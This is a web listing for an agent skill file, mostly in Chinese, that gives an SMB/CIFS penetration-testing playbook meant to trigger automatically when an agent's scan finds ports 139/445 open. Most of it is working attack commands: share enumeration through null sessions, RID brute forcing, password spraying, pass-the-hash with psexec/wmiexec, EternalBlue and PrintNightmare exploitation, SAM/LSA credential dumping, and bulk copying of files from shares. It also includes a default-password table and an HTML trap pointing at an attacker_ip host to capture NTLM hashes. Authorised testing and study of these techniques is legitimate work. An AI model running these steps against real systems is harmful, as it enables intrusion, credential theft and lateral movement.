smb-pentesting
$
npx mdskill add wgpsec/AboutSecurity/smb-pentestingExecute SMB penetration tests on exposed 139/445 ports.
- Recon Windows domains and enumerate shared resources.
- Integrates enum4linux, crackmapexec, and RPC tools.
- Triggers automatically when scanning detects open SMB ports.
- Outputs actionable findings for lateral movement planning.
SKILL.md
.github/skills/smb-pentestingView on GitHub ↗
---
name: smb-pentesting
description: |
SMB/CIFS 服务(139/445 端口)渗透测试方法论。涵盖 NetBIOS/SMB 服务发现与版本识别、共享枚举与访问、用户和组枚举、凭据攻击(空会话/密码喷洒/哈希传递)、已知漏洞利用(EternalBlue 等)。
当 Agent 扫描发现 139 或 445 端口开放、需要枚举 Windows 域信息、测试 SMB 共享权限、或进行 SMB 相关横向移动时,触发此 Skill。
metadata:
tags:
- smb
- cifs
- netbios
- 文件共享
- 139端口
- 445端口
- windows
- enum4linux
- smbclient
- crackmapexec
category: exploit/network-service
---
# SMB/CIFS 渗透测试方法论 (139/445)
## 深入参考
- 枚举命令大全(enum4linux / smbclient / crackmapexec / rpcclient) -> 读 [references/smb-enumeration-commands.md](references/smb-enumeration-commands.md)
- 漏洞利用与中继攻击(EternalBlue / PrintNightmare / CVE 清单 / Relay) -> 读 [references/smb-exploitation.md](references/smb-exploitation.md)
---
## 整体决策树
```
发现 139/445 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 SMB 版本 (SMBv1 / v2 / v3)
│ ├─ 确定操作系统版本
│ └─ 判断是否域环境
│ ├─ 是 -> 记录域名,进入 Phase 3 深度枚举
│ └─ 否 -> 工作组环境,侧重共享枚举
├─ Phase 2: 共享枚举
│ ├─ 空会话 (null session) 测试
│ │ ├─ 成功 -> 列举所有共享,检查 IPC$/SYSVOL/NETLOGON
│ │ └─ 失败 -> 尝试 guest 账户 -> 尝试已知凭据
│ ├─ 可读共享 -> 下载敏感文件 (Registry.xml / web.config / 脚本)
│ └─ 可写共享 -> 标记用于后续利用 (SCF/LNK 投毒、Logon Script 注入)
├─ Phase 3: 用户与组枚举
│ ├─ RPC 枚举 (rpcclient / enum4linux)
│ ├─ RID 爆破 (lookupsid.py / crackmapexec --rid-brute)
│ └─ LDAP 查询 (ldapsearch, 仅域环境)
├─ Phase 4: 凭据攻击
│ ├─ 密码喷洒 (crackmapexec / hydra)
│ ├─ Pass-the-Hash (smbclient / psexec.py / wmiexec.py)
│ └─ NTLM Relay (Responder + ntlmrelayx)
├─ Phase 5: 漏洞利用
│ ├─ SMBv1 -> 检测 MS17-010 (EternalBlue)
│ ├─ 打印服务 -> PrintNightmare (CVE-2021-34527)
│ └─ 其他 CVE -> 读 references/smb-exploitation.md
└─ Phase 6: 后渗透
├─ 远程命令执行 (psexec / smbexec / wmiexec / atexec)
├─ 凭据提取 (SAM/LSA/LSASS dump)
└─ 横向移动 (通过 SMB 共享传播)
```
---
## Phase 1: 服务发现与版本识别
### 1.1 端口与 NetBIOS 扫描
```bash
# NetBIOS 网段扫描 — 快速发现 SMB 主机
nbtscan -r 192.168.0.1/24
# Nmap 服务版本探测
nmap -sV -sC -p 139,445 <IP>
# Nmap SMB 专项脚本
nmap --script "safe or smb-enum-*" -p 445 <IP>
```
### 1.2 SMB 版本识别
```
识别 SMB 版本
├─ Metasploit: auxiliary/scanner/smb/smb_version
├─ crackmapexec smb <IP> (输出中显示 SMBv1/v2/v3 和 OS)
└─ 手动 tcpdump 捕获 (适用于受限环境)
└─ -> 读 references/smb-enumeration-commands.md #版本识别脚本
```
**关键判断**:
- SMBv1 -> 高危,可能存在 MS17-010 (EternalBlue),立即进入 Phase 5 检测
- Samba < 3.5.0 -> CVE-2007-2447 (username map script RCE)
- 旧版 Windows (2003/XP/2008) -> 多种远程代码执行漏洞
### 1.3 操作系统指纹
```bash
# crackmapexec 自动输出 OS 信息
crackmapexec smb <IP>
# enum4linux 完整信息收集
enum4linux -a <IP>
```
---
## Phase 2: 共享枚举
### 2.1 认证级别决策树
```
尝试列举共享
├─ 1) 空会话 (null session)
│ ├─ smbclient --no-pass -L //<IP>
│ ├─ smbmap -H <IP>
│ └─ crackmapexec smb <IP> -u '' -p '' --shares
├─ 2) Guest 账户
│ ├─ smbmap -H <IP> -u guest
│ └─ crackmapexec smb <IP> -u 'guest' -p '' --shares
├─ 3) 已知凭据
│ ├─ smbmap -u "user" -p "pass" -H <IP>
│ └─ crackmapexec smb <IP> -u 'user' -p 'pass' --shares
└─ 4) Pass-the-Hash
└─ crackmapexec smb <IP> -u 'user' -H '<NTHASH>' --shares
```
### 2.2 连接与浏览共享
```bash
# 连接到特定共享
smbclient --no-pass //<IP>/<ShareName>
smbclient -U 'user%pass' //<IP>/<ShareName>
# 递归列出共享内容
smbmap -R <ShareName> -H <IP>
smbclient --no-pass -c 'recurse;ls' //<IP>/<ShareName>
```
### 2.3 常见 Windows 共享与敏感文件
**默认共享**:`C$`, `D$`, `ADMIN$`, `IPC$`, `PRINT$`, `SYSVOL`, `NETLOGON`
**高价值文件**:
- `Registry.xml` — 可能含自动登录密码(Group Policy Preferences)
- `web.config` — Web 应用凭据
- `SYSVOL` 中的脚本 — 域环境下所有认证用户可读,常含明文密码
- `.vmdk` / `.vhd` — 虚拟磁盘,可离线提取哈希
**SYSVOL 写入测试**:即使共享显示只读,NTFS ACL 可能允许写入。用 smbclient 上传测试文件验证,可写则可投毒 logon script 实现 RCE。
-> 读 references/smb-enumeration-commands.md 获取完整的共享枚举命令
### 2.4 域共享搜索工具
```bash
# Snaffler — 自动搜索域内敏感文件
Snaffler.exe -s -d domain.local -o snaffler.log -v data
# CrackMapExec spider 模块
crackmapexec smb <IP> -u user -p pass -M spider_plus --share 'ShareName'
```
---
## Phase 3: 用户与组枚举
### 3.1 枚举决策树
```
用户枚举
├─ 自动化工具 (推荐首选)
│ ├─ enum4linux -a <IP>
│ └─ enum4linux-ng -A <IP>
├─ CrackMapExec
│ ├─ crackmapexec smb <IP> --users
│ ├─ crackmapexec smb <IP> --groups
│ └─ crackmapexec smb <IP> --rid-brute
├─ RPC 枚举 (rpcclient)
│ ├─ rpcclient -U "" -N <IP> # 空会话
│ │ ├─ enumdomusers # 列举域用户
│ │ ├─ enumdomgroups # 列举域组
│ │ ├─ queryuser 0x<RID> # 查询用户详情
│ │ └─ querydispinfo # 显示用户信息
│ └─ -> 读 references/smb-enumeration-commands.md #rpcclient 命令表
├─ SID/RID 爆破
│ ├─ lookupsid.py -no-pass <hostname>
│ └─ Metasploit: auxiliary/scanner/smb/smb_lookupsid
└─ LDAP 查询 (域环境)
└─ ldapsearch -x -b "DC=DOMAIN,DC=LOCAL" -s sub "(&(objectclass=user))" -h <IP>
```
### 3.2 RID 循环爆破
```bash
# 手动 RID 爆破 (500-1100 覆盖内置账户和早期用户)
for i in $(seq 500 1100); do
rpcclient -N -U "" <IP> -c "queryuser 0x$(printf '%x\n' $i)" \
| grep "User Name\|user_rid\|group_rid" && echo ""
done
# Impacket lookupsid
lookupsid.py -no-pass hostname.local
```
---
## Phase 4: 凭据攻击
### 4.1 攻击路径选择
```
已获得用户名列表
├─ 有明文密码 -> 直接认证,进入 Phase 6
├─ 有 NTLM 哈希 -> Pass-the-Hash
│ ├─ crackmapexec smb <IP> -u user -H <NTHASH>
│ ├─ smbclient -U 'user%hash' --pw-nt-hash //<IP>/share
│ └─ psexec.py -hashes <LM:NT> user@<IP>
├─ 无凭据 -> 密码喷洒
│ ├─ crackmapexec smb <IP> -u users.txt -p 'Password1'
│ └─ hydra -t 1 -V -f -l user -P wordlist.txt <IP> smb
│ 注意: 注意锁定策略!先查询: crackmapexec smb <IP> --pass-pol
└─ 网络位置优越 -> NTLM Relay
├─ Responder 捕获 NTLM 认证
└─ ntlmrelayx.py 中继到目标
└─ -> 读 references/smb-exploitation.md #Relay攻击
```
### 4.2 常见默认凭据
| 用户名 | 常见密码 |
|--------|---------|
| _(空)_ | _(空)_ |
| guest | _(空)_ |
| Administrator / admin | _(空)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli / tmersrvd | tivoli, tmersrvd, admin |
| backupexec / backup | backupexec, backup, arcada |
| test / lab / demo | password, test, lab, demo |
---
## Phase 5: 漏洞利用
### 5.1 漏洞检测决策树
```
SMB 版本已知
├─ SMBv1 启用
│ ├─ MS17-010 (EternalBlue) — Windows 7/2008R2/XP/2003
│ │ ├─ 检测: nmap --script smb-vuln-ms17-010 -p 445 <IP>
│ │ └─ 利用: Metasploit exploit/windows/smb/ms17_010_eternalblue
│ ├─ MS08-067 — Windows XP/2003
│ │ ├─ 检测: nmap --script smb-vuln-ms08-067 -p 445 <IP>
│ │ └─ 利用: Metasploit exploit/windows/smb/ms08_067_netapi
│ └─ MS06-025 / MS07-029 等旧漏洞
├─ 打印服务 (Spooler) 运行
│ ├─ PrintNightmare (CVE-2021-34527) — 域控 RCE
│ └─ -> 读 references/smb-exploitation.md #PrintNightmare
├─ Samba (Linux)
│ ├─ CVE-2007-2447 — Samba 3.0.20-3.0.25rc3 username map script RCE
│ └─ CVE-2017-7494 — Samba 3.5.0+ 可写共享 RCE (SambaCry)
└─ 批量漏洞扫描
└─ nmap -p 139,445 --script 'smb-vuln*' -Pn <IP>
```
-> 读 references/smb-exploitation.md 获取完整 CVE 列表和利用细节
---
## Phase 6: 后渗透
### 6.1 远程命令执行
```
拥有有效凭据/哈希 + 管理员权限
├─ psexec.py (创建服务,上传可执行文件到 ADMIN$)
│ └─ psexec.py domain/user:pass@<IP>
│ └─ psexec.py -hashes <LM:NT> admin@<IP>
├─ smbexec.py (通过 cmd.exe,无文件落地)
│ └─ smbexec.py domain/user:pass@<IP>
├─ wmiexec.py (通过 WMI/DCOM,端口 135,更隐蔽)
│ └─ wmiexec.py domain/user:pass@<IP>
├─ atexec.py (通过任务计划程序)
│ └─ atexec.py domain/user:pass@<IP> "command"
└─ crackmapexec (批量执行)
├─ crackmapexec smb <IP> -u admin -p pass -x "whoami" # cmd
└─ crackmapexec smb <IP> -u admin -p pass -X '$PSVersionTable' # PowerShell
```
### 6.2 凭据提取
```bash
# SAM 数据库
crackmapexec smb <IP> -d DOMAIN -u admin -p pass --sam
# LSA Secrets
crackmapexec smb <IP> -d DOMAIN -u admin -p pass --lsa
# 远程注册表读取
reg.py domain/user@<IP> -hashes <LM:NT> query -keyName HKLM -s
```
### 6.3 文件操作与数据导出
```bash
# 挂载共享到本地
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=pass" //x.x.x.x/share /mnt/share
# 批量下载共享文件
smbclient //<IP>/<share> -U 'user%pass' -c 'recurse;prompt;mget *'
# 搜索并下载特定文件
smbmap -R Folder -H <IP> -A <FileName> -q
```
### 6.4 Kerberos 认证 (NTLM 禁用环境)
```bash
# 时钟同步 (避免 KRB_AP_ERR_SKEW)
sudo ntpdate <dc.fqdn>
# Kerberos 认证
smbclient --kerberos //dc.domain.com/C$
rpcclient -k dc.domain.com
netexec smb <dc.fqdn> -k
```
---
## Samba 配置审计 (Linux 目标)
获取访问权限后检查 `/etc/samba/smb.conf` 中的危险配置:
| 配置项 | 风险说明 |
|-------|---------|
| `guest ok = yes` | 允许无密码访问 |
| `read only = no` / `writable = yes` | 允许写入文件 |
| `create mask = 0777` | 新文件权限过大 |
| `enable privileges = yes` | 允许 SID 特权提升 |
| `logon script = script.sh` | 登录脚本可被篡改 |
```bash
# 检查当前连接和会话
smbstatus
```
---
## SMB Trap 与 NTLM 窃取
当可以控制目标访问的内容时(如 HTML 注入),可触发自动 SMB 认证:
```
强制 SMB 认证场景
├─ HTML/邮件中嵌入: <img src="\\attacker_ip\share\img.jpg">
├─ Windows URLMon.dll 自动发起 NTLM 认证
├─ Responder 监听捕获 NetNTLMv2 哈希
└─ 后续操作
├─ 离线破解 (hashcat / john)
└─ NTLM Relay 中继到其他服务
```
-> 读 references/smb-exploitation.md #NTLM窃取与SMBTrap
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|